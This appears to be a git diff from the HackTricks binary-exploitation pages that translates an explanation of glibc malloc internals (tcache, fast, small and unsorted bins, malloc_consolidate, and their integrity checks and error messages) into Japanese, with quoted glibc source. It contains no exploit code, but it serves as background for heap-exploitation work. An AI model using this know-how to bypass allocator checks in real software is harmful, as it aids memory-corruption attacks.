`malloc_consolidate(): unaligned fastbin chunk detected` - - If incorrect fast bin chunk size: - - Error message: `malloc_consolidate(): invalid chunk size` +- **`malloc_consolidate` のチェック:** +- アラインされていないファストビンチャンクの場合: +- エラーメッセージ: `malloc_consolidate(): unaligned fastbin chunk detected` +- 不正なファストビンチャンクサイズの場合: +- エラーメッセージ: `malloc_consolidate(): invalid chunk size` ## `_int_realloc` -- **Checks in `_int_realloc`:** - - Size is too big or too small: - - Error message: `realloc(): invalid old size` - - Size of the next chunk is too big or too small: - - Error message: `realloc(): invalid next size` +- **`_int_realloc` のチェック:** +- サイズが大きすぎるまたは小さすぎる場合: +- エラーメッセージ: `realloc(): invalid old size` +- 次のチャンクのサイズが大きすぎるまたは小さすぎる場合: +- エラーメッセージ: `realloc(): invalid next size` {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/heap-memory-functions/malloc-and-sysmalloc.md b/src/binary-exploitation/libc-heap/heap-memory-functions/malloc-and-sysmalloc.md index 3b2ab7085..58a97cf4b 100644 --- a/src/binary-exploitation/libc-heap/heap-memory-functions/malloc-and-sysmalloc.md +++ b/src/binary-exploitation/libc-heap/heap-memory-functions/malloc-and-sysmalloc.md @@ -4,35 +4,34 @@ ## Allocation Order Summary -(No checks are explained in this summary and some case have been omitted for brevity) +(この要約ではチェックは説明されておらず、簡潔さのためにいくつかのケースが省略されています) -1. `__libc_malloc` tries to get a chunk from the tcache, if not it calls `_int_malloc` +1. `__libc_malloc` は tcache からチャンクを取得しようとし、できなければ `_int_malloc` を呼び出します。 2. `_int_malloc` : - 1. Tries to generate the arena if there isn't any - 2. If any fast bin chunk of the correct size, use it - 1. Fill tcache with other fast chunks - 3. If any small bin chunk of the correct size, use it - 1. Fill tcache with other chunks of that size - 4. If the requested size isn't for small bins, consolidate fast bin into unsorted bin - 5. Check the unsorted bin, use the first chunk with enough space - 1. If the found chunk is bigger, divide it to return a part and add the reminder back to the unsorted bin - 2. If a chunk is of the same size as the size requested, use to to fill the tcache instead of returning it (until the tcache is full, then return the next one) - 3. For each chunk of smaller size checked, put it in its respective small or large bin - 6. Check the large bin in the index of the requested size - 1. Start looking from the first chunk that is bigger than the requested size, if any is found return it and add the reminders to the small bin - 7. Check the large bins from the next indexes until the end - 1. From the next bigger index check for any chunk, divide the first found chunk to use it for the requested size and add the reminder to the unsorted bin - 8. If nothing is found in the previous bins, get a chunk from the top chunk - 9. If the top chunk wasn't big enough enlarge it with `sysmalloc` +1. アリーナがない場合は生成しようとします。 +2. 正しいサイズのファストビンチャンクがあれば、それを使用します。 +1. 他のファストチャンクで tcache を埋めます。 +3. 正しいサイズのスモールビンチャンクがあれば、それを使用します。 +1. そのサイズの他のチャンクで tcache を埋めます。 +4. リクエストされたサイズがスモールビン用でない場合、ファストビンを未ソートビンに統合します。 +5. 未ソートビンをチェックし、十分なスペースのある最初のチャンクを使用します。 +1. 見つかったチャンクが大きければ、それを分割して一部を返し、残りを未ソートビンに戻します。 +2. チャンクがリクエストされたサイズと同じであれば、それを返すのではなく tcache を埋めるために使用します(tcache が満杯になるまで、その後は次のものを返します)。 +3. チェックした各小さいサイズのチャンクは、それぞれのスモールまたはラージビンに入れます。 +6. リクエストされたサイズのインデックスでラージビンをチェックします。 +1. リクエストされたサイズより大きい最初のチャンクから探し始め、見つかればそれを返し、残りをスモールビンに追加します。 +7. 次のインデックスからラージビンをチェックし、最後まで続けます。 +1. 次の大きいインデックスからチャンクをチェックし、最初に見つかったチャンクを分割してリクエストされたサイズに使用し、残りを未ソートビンに追加します。 +8. 前のビンで何も見つからなければ、トップチャンクからチャンクを取得します。 +9. トップチャンクが十分大きくなければ、`sysmalloc` で拡張します。 ## \_\_libc_malloc -The `malloc` function actually calls `__libc_malloc`. This function will check the tcache to see if there is any available chunk of the desired size. If the re is it'll use it and if not it'll check if it's a single thread and in that case it'll call `_int_malloc` in the main arena, and if not it'll call `_int_malloc` in arena of the thread. +`malloc` 関数は実際には `__libc_malloc` を呼び出します。この関数は tcache をチェックして、希望するサイズの利用可能なチャンクがあるかどうかを確認します。もしあればそれを使用し、なければシングルスレッドかどうかを確認し、その場合はメインアリーナで `_int_malloc` を呼び出し、そうでなければスレッドのアリーナで `_int_malloc` を呼び出します。
__libc_malloc code - ```c // From https://github.com/bminor/glibc/blob/master/malloc/malloc.c @@ -40,1707 +39,1660 @@ The `malloc` function actually calls `__libc_malloc`. This function will check t void * __libc_malloc (size_t bytes) { - mstate ar_ptr; - void *victim; +mstate ar_ptr; +void *victim; - _Static_assert (PTRDIFF_MAX <= SIZE_MAX / 2, - "PTRDIFF_MAX is not more than half of SIZE_MAX"); +_Static_assert (PTRDIFF_MAX <= SIZE_MAX / 2, +"PTRDIFF_MAX is not more than half of SIZE_MAX"); - if (!__malloc_initialized) - ptmalloc_init (); +if (!__malloc_initialized) +ptmalloc_init (); #if USE_TCACHE - /* int_free also calls request2size, be careful to not pad twice. */ - size_t tbytes = checked_request2size (bytes); - if (tbytes == 0) - { - __set_errno (ENOMEM); - return NULL; - } - size_t tc_idx = csize2tidx (tbytes); +/* int_free also calls request2size, be careful to not pad twice. */ +size_t tbytes = checked_request2size (bytes); +if (tbytes == 0) +{ +__set_errno (ENOMEM); +return NULL; +} +size_t tc_idx = csize2tidx (tbytes); - MAYBE_INIT_TCACHE (); +MAYBE_INIT_TCACHE (); - DIAG_PUSH_NEEDS_COMMENT; - if (tc_idx < mp_.tcache_bins - && tcache != NULL - && tcache->counts[tc_idx] > 0) - { - victim = tcache_get (tc_idx); - return tag_new_usable (victim); - } - DIAG_POP_NEEDS_COMMENT; +DIAG_PUSH_NEEDS_COMMENT; +if (tc_idx < mp_.tcache_bins +&& tcache != NULL +&& tcache->counts[tc_idx] > 0) +{ +victim = tcache_get (tc_idx); +return tag_new_usable (victim); +} +DIAG_POP_NEEDS_COMMENT; #endif - if (SINGLE_THREAD_P) - { - victim = tag_new_usable (_int_malloc (&main_arena, bytes)); - assert (!victim || chunk_is_mmapped (mem2chunk (victim)) || - &main_arena == arena_for_chunk (mem2chunk (victim))); - return victim; - } +if (SINGLE_THREAD_P) +{ +victim = tag_new_usable (_int_malloc (&main_arena, bytes)); +assert (!victim || chunk_is_mmapped (mem2chunk (victim)) || +&main_arena == arena_for_chunk (mem2chunk (victim))); +return victim; +} - arena_get (ar_ptr, bytes); +arena_get (ar_ptr, bytes); - victim = _int_malloc (ar_ptr, bytes); - /* Retry with another arena only if we were able to find a usable arena - before. */ - if (!victim && ar_ptr != NULL) - { - LIBC_PROBE (memory_malloc_retry, 1, bytes); - ar_ptr = arena_get_retry (ar_ptr, bytes); - victim = _int_malloc (ar_ptr, bytes); - } +victim = _int_malloc (ar_ptr, bytes); +/* Retry with another arena only if we were able to find a usable arena +before. */ +if (!victim && ar_ptr != NULL) +{ +LIBC_PROBE (memory_malloc_retry, 1, bytes); +ar_ptr = arena_get_retry (ar_ptr, bytes); +victim = _int_malloc (ar_ptr, bytes); +} - if (ar_ptr != NULL) - __libc_lock_unlock (ar_ptr->mutex); +if (ar_ptr != NULL) +__libc_lock_unlock (ar_ptr->mutex); - victim = tag_new_usable (victim); +victim = tag_new_usable (victim); - assert (!victim || chunk_is_mmapped (mem2chunk (victim)) || - ar_ptr == arena_for_chunk (mem2chunk (victim))); - return victim; +assert (!victim || chunk_is_mmapped (mem2chunk (victim)) || +ar_ptr == arena_for_chunk (mem2chunk (victim))); +return victim; } ``` -
-Note how it'll always tag the returned pointer with `tag_new_usable`, from the code: - +返されたポインタは常に `tag_new_usable` でタグ付けされることに注意してください。コードから: ```c - void *tag_new_usable (void *ptr) +void *tag_new_usable (void *ptr) - Allocate a new random color and use it to color the user region of - a chunk; this may include data from the subsequent chunk's header - if tagging is sufficiently fine grained. Returns PTR suitably - recolored for accessing the memory there. +Allocate a new random color and use it to color the user region of +a chunk; this may include data from the subsequent chunk's header +if tagging is sufficiently fine grained. Returns PTR suitably +recolored for accessing the memory there. ``` - ## \_int_malloc -This is the function that allocates memory using the other bins and top chunk. +これは、他のビンとトップチャンクを使用してメモリを割り当てる関数です。 -- Start +- 開始 -It starts defining some vars and getting the real size the request memory space need to have: +リクエストされたメモリスペースが必要とする実際のサイズを取得し、いくつかの変数を定義することから始まります:
-_int_malloc start - +_int_malloc 開始 ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L3847 static void * _int_malloc (mstate av, size_t bytes) { - INTERNAL_SIZE_T nb; /* normalized request size */ - unsigned int idx; /* associated bin index */ - mbinptr bin; /* associated bin */ +INTERNAL_SIZE_T nb; /* normalized request size */ +unsigned int idx; /* associated bin index */ +mbinptr bin; /* associated bin */ - mchunkptr victim; /* inspected/selected chunk */ - INTERNAL_SIZE_T size; /* its size */ - int victim_index; /* its bin index */ +mchunkptr victim; /* inspected/selected chunk */ +INTERNAL_SIZE_T size; /* its size */ +int victim_index; /* its bin index */ - mchunkptr remainder; /* remainder from a split */ - unsigned long remainder_size; /* its size */ +mchunkptr remainder; /* remainder from a split */ +unsigned long remainder_size; /* its size */ - unsigned int block; /* bit map traverser */ - unsigned int bit; /* bit map traverser */ - unsigned int map; /* current word of binmap */ +unsigned int block; /* bit map traverser */ +unsigned int bit; /* bit map traverser */ +unsigned int map; /* current word of binmap */ - mchunkptr fwd; /* misc temp for linking */ - mchunkptr bck; /* misc temp for linking */ +mchunkptr fwd; /* misc temp for linking */ +mchunkptr bck; /* misc temp for linking */ #if USE_TCACHE - size_t tcache_unsorted_count; /* count of unsorted chunks processed */ +size_t tcache_unsorted_count; /* count of unsorted chunks processed */ #endif - /* - Convert request size to internal form by adding SIZE_SZ bytes - overhead plus possibly more to obtain necessary alignment and/or - to obtain a size of at least MINSIZE, the smallest allocatable - size. Also, checked_request2size returns false for request sizes - that are so large that they wrap around zero when padded and - aligned. - */ +/* +Convert request size to internal form by adding SIZE_SZ bytes +overhead plus possibly more to obtain necessary alignment and/or +to obtain a size of at least MINSIZE, the smallest allocatable +size. Also, checked_request2size returns false for request sizes +that are so large that they wrap around zero when padded and +aligned. +*/ - nb = checked_request2size (bytes); - if (nb == 0) - { - __set_errno (ENOMEM); - return NULL; - } +nb = checked_request2size (bytes); +if (nb == 0) +{ +__set_errno (ENOMEM); +return NULL; +} ``` -
-### Arena +### アリーナ -In the unlikely event that there aren't usable arenas, it uses `sysmalloc` to get a chunk from `mmap`: +使用可能なアリーナがない場合、`sysmalloc`を使用して`mmap`からチャンクを取得します:
_int_malloc not arena - ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L3885C3-L3893C6 /* There are no usable arenas. Fall back to sysmalloc to get a chunk from - mmap. */ - if (__glibc_unlikely (av == NULL)) - { - void *p = sysmalloc (nb, av); - if (p != NULL) - alloc_perturb (p, bytes); - return p; - } +mmap. */ +if (__glibc_unlikely (av == NULL)) +{ +void *p = sysmalloc (nb, av); +if (p != NULL) +alloc_perturb (p, bytes); +return p; +} ``` -
### Fast Bin -If the needed size is inside the Fast Bins sizes, try to use a chunk from the fast bin. Basically, based on the size, it'll find the fast bin index where valid chunks should be located, and if any, it'll return one of those.\ -Moreover, if tcache is enabled, it'll **fill the tcache bin of that size with fast bins**. +必要なサイズがFast Binsのサイズ内にある場合、fast binからチャンクを使用しようとします。基本的に、サイズに基づいて、有効なチャンクが存在するべきfast binインデックスを見つけ、もしあれば、その中の1つを返します。\ +さらに、tcacheが有効な場合、そのサイズのtcache binを**fast binsで埋めます**。 -While performing these actions, some security checks are executed in here: +これらのアクションを実行する際に、いくつかのセキュリティチェックがここで実行されます: -- If the chunk is misaligned: `malloc(): unaligned fastbin chunk detected 2` -- If the forward chunk is misaligned: `malloc(): unaligned fastbin chunk detected` -- If the returned chunk has a size that isn't correct because of it's index in the fast bin: `malloc(): memory corruption (fast)` -- If any chunk used to fill the tcache is misaligned: `malloc(): unaligned fastbin chunk detected 3` +- チャンクが不整合な場合: `malloc(): unaligned fastbin chunk detected 2` +- 前方チャンクが不整合な場合: `malloc(): unaligned fastbin chunk detected` +- 返されたチャンクのサイズがfast binのインデックスのために正しくない場合: `malloc(): memory corruption (fast)` +- tcacheを埋めるために使用されたチャンクが不整合な場合: `malloc(): unaligned fastbin chunk detected 3`
_int_malloc fast bin - ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L3895C3-L3967C6 /* - If the size qualifies as a fastbin, first check corresponding bin. - This code is safe to execute even if av is not yet initialized, so we - can try it without checking, which saves some time on this fast path. - */ +If the size qualifies as a fastbin, first check corresponding bin. +This code is safe to execute even if av is not yet initialized, so we +can try it without checking, which saves some time on this fast path. +*/ #define REMOVE_FB(fb, victim, pp) \ - do \ - { \ - victim = pp; \ - if (victim == NULL) \ - break; \ - pp = REVEAL_PTR (victim->fd); \ - if (__glibc_unlikely (pp != NULL && misaligned_chunk (pp))) \ - malloc_printerr ("malloc(): unaligned fastbin chunk detected"); \ - } \ - while ((pp = catomic_compare_and_exchange_val_acq (fb, pp, victim)) \ - != victim); \ +do \ +{ \ +victim = pp; \ +if (victim == NULL) \ +break; \ +pp = REVEAL_PTR (victim->fd); \ +if (__glibc_unlikely (pp != NULL && misaligned_chunk (pp))) \ +malloc_printerr ("malloc(): unaligned fastbin chunk detected"); \ +} \ +while ((pp = catomic_compare_and_exchange_val_acq (fb, pp, victim)) \ +!= victim); \ - if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ())) - { - idx = fastbin_index (nb); - mfastbinptr *fb = &fastbin (av, idx); - mchunkptr pp; - victim = *fb; +if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ())) +{ +idx = fastbin_index (nb); +mfastbinptr *fb = &fastbin (av, idx); +mchunkptr pp; +victim = *fb; - if (victim != NULL) - { - if (__glibc_unlikely (misaligned_chunk (victim))) - malloc_printerr ("malloc(): unaligned fastbin chunk detected 2"); +if (victim != NULL) +{ +if (__glibc_unlikely (misaligned_chunk (victim))) +malloc_printerr ("malloc(): unaligned fastbin chunk detected 2"); - if (SINGLE_THREAD_P) - *fb = REVEAL_PTR (victim->fd); - else - REMOVE_FB (fb, pp, victim); - if (__glibc_likely (victim != NULL)) - { - size_t victim_idx = fastbin_index (chunksize (victim)); - if (__builtin_expect (victim_idx != idx, 0)) - malloc_printerr ("malloc(): memory corruption (fast)"); - check_remalloced_chunk (av, victim, nb); +if (SINGLE_THREAD_P) +*fb = REVEAL_PTR (victim->fd); +else +REMOVE_FB (fb, pp, victim); +if (__glibc_likely (victim != NULL)) +{ +size_t victim_idx = fastbin_index (chunksize (victim)); +if (__builtin_expect (victim_idx != idx, 0)) +malloc_printerr ("malloc(): memory corruption (fast)"); +check_remalloced_chunk (av, victim, nb); #if USE_TCACHE - /* While we're here, if we see other chunks of the same size, - stash them in the tcache. */ - size_t tc_idx = csize2tidx (nb); - if (tcache != NULL && tc_idx < mp_.tcache_bins) - { - mchunkptr tc_victim; +/* While we're here, if we see other chunks of the same size, +stash them in the tcache. */ +size_t tc_idx = csize2tidx (nb); +if (tcache != NULL && tc_idx < mp_.tcache_bins) +{ +mchunkptr tc_victim; - /* While bin not empty and tcache not full, copy chunks. */ - while (tcache->counts[tc_idx] < mp_.tcache_count - && (tc_victim = *fb) != NULL) - { - if (__glibc_unlikely (misaligned_chunk (tc_victim))) - malloc_printerr ("malloc(): unaligned fastbin chunk detected 3"); - if (SINGLE_THREAD_P) - *fb = REVEAL_PTR (tc_victim->fd); - else - { - REMOVE_FB (fb, pp, tc_victim); - if (__glibc_unlikely (tc_victim == NULL)) - break; - } - tcache_put (tc_victim, tc_idx); - } - } +/* While bin not empty and tcache not full, copy chunks. */ +while (tcache->counts[tc_idx] < mp_.tcache_count +&& (tc_victim = *fb) != NULL) +{ +if (__glibc_unlikely (misaligned_chunk (tc_victim))) +malloc_printerr ("malloc(): unaligned fastbin chunk detected 3"); +if (SINGLE_THREAD_P) +*fb = REVEAL_PTR (tc_victim->fd); +else +{ +REMOVE_FB (fb, pp, tc_victim); +if (__glibc_unlikely (tc_victim == NULL)) +break; +} +tcache_put (tc_victim, tc_idx); +} +} #endif - void *p = chunk2mem (victim); - alloc_perturb (p, bytes); - return p; - } - } - } +void *p = chunk2mem (victim); +alloc_perturb (p, bytes); +return p; +} +} +} ``` -
-### Small Bin +### スモールビン -As indicated in a comment, small bins hold one size per index, therefore checking if a valid chunk is available is super fast, so after fast bins, small bins are checked. +コメントに示されているように、スモールビンはインデックスごとに1つのサイズを保持するため、有効なチャンクが利用可能かどうかのチェックは非常に速く、ファストビンの後にスモールビンがチェックされます。 -The first check is to find out if the requested size could be inside a small bin. In that case, get the corresponded **index** inside the smallbin and see if there is **any available chunk**. +最初のチェックは、要求されたサイズがスモールビンの中にあるかどうかを確認することです。その場合、対応する**インデックス**をスモールビンの中で取得し、**利用可能なチャンクがあるかどうか**を確認します。 -Then, a security check is performed checking: +次に、セキュリティチェックが行われます: -- if `victim->bk->fd = victim`. To see that both chunks are correctly linked. +- `victim->bk->fd = victim`であるかどうか。両方のチャンクが正しくリンクされていることを確認します。 -In that case, the chunk **gets the `inuse` bit,** the doubled linked list is fixed so this chunk disappears from it (as it's going to be used), and the non main arena bit is set if needed. +その場合、チャンクは**`inuse`ビットを取得し、**二重リンクリストが修正されるため、このチャンクはリストから消えます(使用されるため)、必要に応じて非メインアリーナビットが設定されます。 -Finally, **fill the tcache index of the requested size** with other chunks inside the small bin (if any). +最後に、**要求されたサイズのtcacheインデックスを**スモールビン内の他のチャンクで埋めます(あれば)。
-_int_malloc small bin - +_int_malloc スモールビン ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L3895C3-L3967C6 /* - If a small request, check regular bin. Since these "smallbins" - hold one size each, no searching within bins is necessary. - (For a large request, we need to wait until unsorted chunks are - processed to find best fit. But for small ones, fits are exact - anyway, so we can check now, which is faster.) - */ +If a small request, check regular bin. Since these "smallbins" +hold one size each, no searching within bins is necessary. +(For a large request, we need to wait until unsorted chunks are +processed to find best fit. But for small ones, fits are exact +anyway, so we can check now, which is faster.) +*/ - if (in_smallbin_range (nb)) - { - idx = smallbin_index (nb); - bin = bin_at (av, idx); +if (in_smallbin_range (nb)) +{ +idx = smallbin_index (nb); +bin = bin_at (av, idx); - if ((victim = last (bin)) != bin) - { - bck = victim->bk; - if (__glibc_unlikely (bck->fd != victim)) - malloc_printerr ("malloc(): smallbin double linked list corrupted"); - set_inuse_bit_at_offset (victim, nb); - bin->bk = bck; - bck->fd = bin; +if ((victim = last (bin)) != bin) +{ +bck = victim->bk; +if (__glibc_unlikely (bck->fd != victim)) +malloc_printerr ("malloc(): smallbin double linked list corrupted"); +set_inuse_bit_at_offset (victim, nb); +bin->bk = bck; +bck->fd = bin; - if (av != &main_arena) - set_non_main_arena (victim); - check_malloced_chunk (av, victim, nb); +if (av != &main_arena) +set_non_main_arena (victim); +check_malloced_chunk (av, victim, nb); #if USE_TCACHE - /* While we're here, if we see other chunks of the same size, - stash them in the tcache. */ - size_t tc_idx = csize2tidx (nb); - if (tcache != NULL && tc_idx < mp_.tcache_bins) - { - mchunkptr tc_victim; +/* While we're here, if we see other chunks of the same size, +stash them in the tcache. */ +size_t tc_idx = csize2tidx (nb); +if (tcache != NULL && tc_idx < mp_.tcache_bins) +{ +mchunkptr tc_victim; - /* While bin not empty and tcache not full, copy chunks over. */ - while (tcache->counts[tc_idx] < mp_.tcache_count - && (tc_victim = last (bin)) != bin) - { - if (tc_victim != 0) - { - bck = tc_victim->bk; - set_inuse_bit_at_offset (tc_victim, nb); - if (av != &main_arena) - set_non_main_arena (tc_victim); - bin->bk = bck; - bck->fd = bin; +/* While bin not empty and tcache not full, copy chunks over. */ +while (tcache->counts[tc_idx] < mp_.tcache_count +&& (tc_victim = last (bin)) != bin) +{ +if (tc_victim != 0) +{ +bck = tc_victim->bk; +set_inuse_bit_at_offset (tc_victim, nb); +if (av != &main_arena) +set_non_main_arena (tc_victim); +bin->bk = bck; +bck->fd = bin; - tcache_put (tc_victim, tc_idx); - } - } - } +tcache_put (tc_victim, tc_idx); +} +} +} #endif - void *p = chunk2mem (victim); - alloc_perturb (p, bytes); - return p; - } - } +void *p = chunk2mem (victim); +alloc_perturb (p, bytes); +return p; +} +} ``` -
### malloc_consolidate -If it wasn't a small chunk, it's a large chunk, and in this case **`malloc_consolidate`** is called to avoid memory fragmentation. +小さなチャンクでなければ、大きなチャンクであり、この場合はメモリの断片化を避けるために **`malloc_consolidate`** が呼び出されます。
-malloc_consolidate call - +malloc_consolidate の呼び出し ```c /* - If this is a large request, consolidate fastbins before continuing. - While it might look excessive to kill all fastbins before - even seeing if there is space available, this avoids - fragmentation problems normally associated with fastbins. - Also, in practice, programs tend to have runs of either small or - large requests, but less often mixtures, so consolidation is not - invoked all that often in most programs. And the programs that - it is called frequently in otherwise tend to fragment. - */ +If this is a large request, consolidate fastbins before continuing. +While it might look excessive to kill all fastbins before +even seeing if there is space available, this avoids +fragmentation problems normally associated with fastbins. +Also, in practice, programs tend to have runs of either small or +large requests, but less often mixtures, so consolidation is not +invoked all that often in most programs. And the programs that +it is called frequently in otherwise tend to fragment. +*/ - else - { - idx = largebin_index (nb); - if (atomic_load_relaxed (&av->have_fastchunks)) - malloc_consolidate (av); - } +else +{ +idx = largebin_index (nb); +if (atomic_load_relaxed (&av->have_fastchunks)) +malloc_consolidate (av); +} ``` -
-The malloc consolidate function basically removes chunks from the fast bin and places them into the unsorted bin. After the next malloc these chunks will be organized in their respective small/fast bins. +malloc consolidate関数は基本的に、ファストビンからチャンクを削除し、それらを未ソートビンに配置します。次のmallocの後、これらのチャンクはそれぞれの小/ファストビンに整理されます。 -Note that if while removing these chunks, if they are found with previous or next chunks that aren't in use they will be **unliked and merged** before placing the final chunk in the **unsorted** bin. +これらのチャンクを削除する際、使用されていない前のチャンクまたは次のチャンクが見つかった場合、それらは**リンク解除されてマージ**され、最終的なチャンクが**未ソート**ビンに配置されます。 -For each fast bin chunk a couple of security checks are performed: +各ファストビンチャンクに対して、いくつかのセキュリティチェックが実行されます: -- If the chunk is unaligned trigger: `malloc_consolidate(): unaligned fastbin chunk detected` -- If the chunk has a different size that the one it should because of the index it's in: `malloc_consolidate(): invalid chunk size` -- If the previous chunk is not in use and the previous chunk has a size different of the one indicated by `prev_chunk`: `corrupted size vs. prev_size in fastbins` +- チャンクがアラインされていない場合のトリガー: `malloc_consolidate(): unaligned fastbin chunk detected` +- チャンクのサイズが、そのインデックスに基づいているべきサイズと異なる場合: `malloc_consolidate(): invalid chunk size` +- 前のチャンクが使用されておらず、前のチャンクのサイズが`prev_chunk`によって示されるサイズと異なる場合: `corrupted size vs. prev_size in fastbins`
malloc_consolidate function - ```c // https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4810C1-L4905C2 static void malloc_consolidate(mstate av) { - mfastbinptr* fb; /* current fastbin being consolidated */ - mfastbinptr* maxfb; /* last fastbin (for loop control) */ - mchunkptr p; /* current chunk being consolidated */ - mchunkptr nextp; /* next chunk to consolidate */ - mchunkptr unsorted_bin; /* bin header */ - mchunkptr first_unsorted; /* chunk to link to */ +mfastbinptr* fb; /* current fastbin being consolidated */ +mfastbinptr* maxfb; /* last fastbin (for loop control) */ +mchunkptr p; /* current chunk being consolidated */ +mchunkptr nextp; /* next chunk to consolidate */ +mchunkptr unsorted_bin; /* bin header */ +mchunkptr first_unsorted; /* chunk to link to */ - /* These have same use as in free() */ - mchunkptr nextchunk; - INTERNAL_SIZE_T size; - INTERNAL_SIZE_T nextsize; - INTERNAL_SIZE_T prevsize; - int nextinuse; +/* These have same use as in free() */ +mchunkptr nextchunk; +INTERNAL_SIZE_T size; +INTERNAL_SIZE_T nextsize; +INTERNAL_SIZE_T prevsize; +int nextinuse; - atomic_store_relaxed (&av->have_fastchunks, false); +atomic_store_relaxed (&av->have_fastchunks, false); - unsorted_bin = unsorted_chunks(av); +unsorted_bin = unsorted_chunks(av); - /* - Remove each chunk from fast bin and consolidate it, placing it - then in unsorted bin. Among other reasons for doing this, - placing in unsorted bin avoids needing to calculate actual bins - until malloc is sure that chunks aren't immediately going to be - reused anyway. - */ +/* +Remove each chunk from fast bin and consolidate it, placing it +then in unsorted bin. Among other reasons for doing this, +placing in unsorted bin avoids needing to calculate actual bins +until malloc is sure that chunks aren't immediately going to be +reused anyway. +*/ - maxfb = &fastbin (av, NFASTBINS - 1); - fb = &fastbin (av, 0); - do { - p = atomic_exchange_acquire (fb, NULL); - if (p != 0) { - do { - { - if (__glibc_unlikely (misaligned_chunk (p))) - malloc_printerr ("malloc_consolidate(): " - "unaligned fastbin chunk detected"); +maxfb = &fastbin (av, NFASTBINS - 1); +fb = &fastbin (av, 0); +do { +p = atomic_exchange_acquire (fb, NULL); +if (p != 0) { +do { +{ +if (__glibc_unlikely (misaligned_chunk (p))) +malloc_printerr ("malloc_consolidate(): " +"unaligned fastbin chunk detected"); - unsigned int idx = fastbin_index (chunksize (p)); - if ((&fastbin (av, idx)) != fb) - malloc_printerr ("malloc_consolidate(): invalid chunk size"); - } +unsigned int idx = fastbin_index (chunksize (p)); +if ((&fastbin (av, idx)) != fb) +malloc_printerr ("malloc_consolidate(): invalid chunk size"); +} - check_inuse_chunk(av, p); - nextp = REVEAL_PTR (p->fd); +check_inuse_chunk(av, p); +nextp = REVEAL_PTR (p->fd); - /* Slightly streamlined version of consolidation code in free() */ - size = chunksize (p); - nextchunk = chunk_at_offset(p, size); - nextsize = chunksize(nextchunk); +/* Slightly streamlined version of consolidation code in free() */ +size = chunksize (p); +nextchunk = chunk_at_offset(p, size); +nextsize = chunksize(nextchunk); - if (!prev_inuse(p)) { - prevsize = prev_size (p); - size += prevsize; - p = chunk_at_offset(p, -((long) prevsize)); - if (__glibc_unlikely (chunksize(p) != prevsize)) - malloc_printerr ("corrupted size vs. prev_size in fastbins"); - unlink_chunk (av, p); - } +if (!prev_inuse(p)) { +prevsize = prev_size (p); +size += prevsize; +p = chunk_at_offset(p, -((long) prevsize)); +if (__glibc_unlikely (chunksize(p) != prevsize)) +malloc_printerr ("corrupted size vs. prev_size in fastbins"); +unlink_chunk (av, p); +} - if (nextchunk != av->top) { - nextinuse = inuse_bit_at_offset(nextchunk, nextsize); +if (nextchunk != av->top) { +nextinuse = inuse_bit_at_offset(nextchunk, nextsize); - if (!nextinuse) { - size += nextsize; - unlink_chunk (av, nextchunk); - } else - clear_inuse_bit_at_offset(nextchunk, 0); +if (!nextinuse) { +size += nextsize; +unlink_chunk (av, nextchunk); +} else +clear_inuse_bit_at_offset(nextchunk, 0); - first_unsorted = unsorted_bin->fd; - unsorted_bin->fd = p; - first_unsorted->bk = p; +first_unsorted = unsorted_bin->fd; +unsorted_bin->fd = p; +first_unsorted->bk = p; - if (!in_smallbin_range (size)) { - p->fd_nextsize = NULL; - p->bk_nextsize = NULL; - } +if (!in_smallbin_range (size)) { +p->fd_nextsize = NULL; +p->bk_nextsize = NULL; +} - set_head(p, size | PREV_INUSE); - p->bk = unsorted_bin; - p->fd = first_unsorted; - set_foot(p, size); - } +set_head(p, size | PREV_INUSE); +p->bk = unsorted_bin; +p->fd = first_unsorted; +set_foot(p, size); +} - else { - size += nextsize; - set_head(p, size | PREV_INUSE); - av->top = p; - } +else { +size += nextsize; +set_head(p, size | PREV_INUSE); +av->top = p; +} - } while ( (p = nextp) != 0); +} while ( (p = nextp) != 0); - } - } while (fb++ != maxfb); +} +} while (fb++ != maxfb); } ``` -
-### Unsorted bin +### 未整理のビン -It's time to check the unsorted bin for a potential valid chunk to use. +有効なチャンクを使用するために未整理のビンを確認する時が来ました。 -#### Start +#### 開始 -This starts with a big for look that will be traversing the unsorted bin in the `bk` direction until it arrives til the end (the arena struct) with `while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))` +これは、大きなforループから始まり、`bk`方向に未整理のビンをトラバースし、`while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))`で最後(アリーナ構造体)に到達します。 -Moreover, some security checks are perform every time a new chunk is considered: +さらに、新しいチャンクが考慮されるたびにいくつかのセキュリティチェックが行われます: -- If the chunk size is weird (too small or too big): `malloc(): invalid size (unsorted)` -- If the next chunk size is weird (too small or too big): `malloc(): invalid next size (unsorted)` -- If the previous size indicated by the next chunk differs from the size of the chunk: `malloc(): mismatching next->prev_size (unsorted)` -- If not `victim->bck->fd == victim` or not `victim->fd == av` (arena): `malloc(): unsorted double linked list corrupted` - - As we are always checking the las one, it's `fd` should be pointing always to the arena struct. -- If the next chunk isn't indicating that the previous is in use: `malloc(): invalid next->prev_inuse (unsorted)` +- チャンクサイズが奇妙な場合(小さすぎるまたは大きすぎる):`malloc(): invalid size (unsorted)` +- 次のチャンクサイズが奇妙な場合(小さすぎるまたは大きすぎる):`malloc(): invalid next size (unsorted)` +- 次のチャンクによって示された前のサイズがチャンクのサイズと異なる場合:`malloc(): mismatching next->prev_size (unsorted)` +- `victim->bck->fd == victim`でないか、または`victim->fd == av`(アリーナ)でない場合:`malloc(): unsorted double linked list corrupted` +- 常に最後のものをチェックしているため、`fd`は常にアリーナ構造体を指している必要があります。 +- 次のチャンクが前のチャンクが使用中であることを示していない場合:`malloc(): invalid next->prev_inuse (unsorted)`
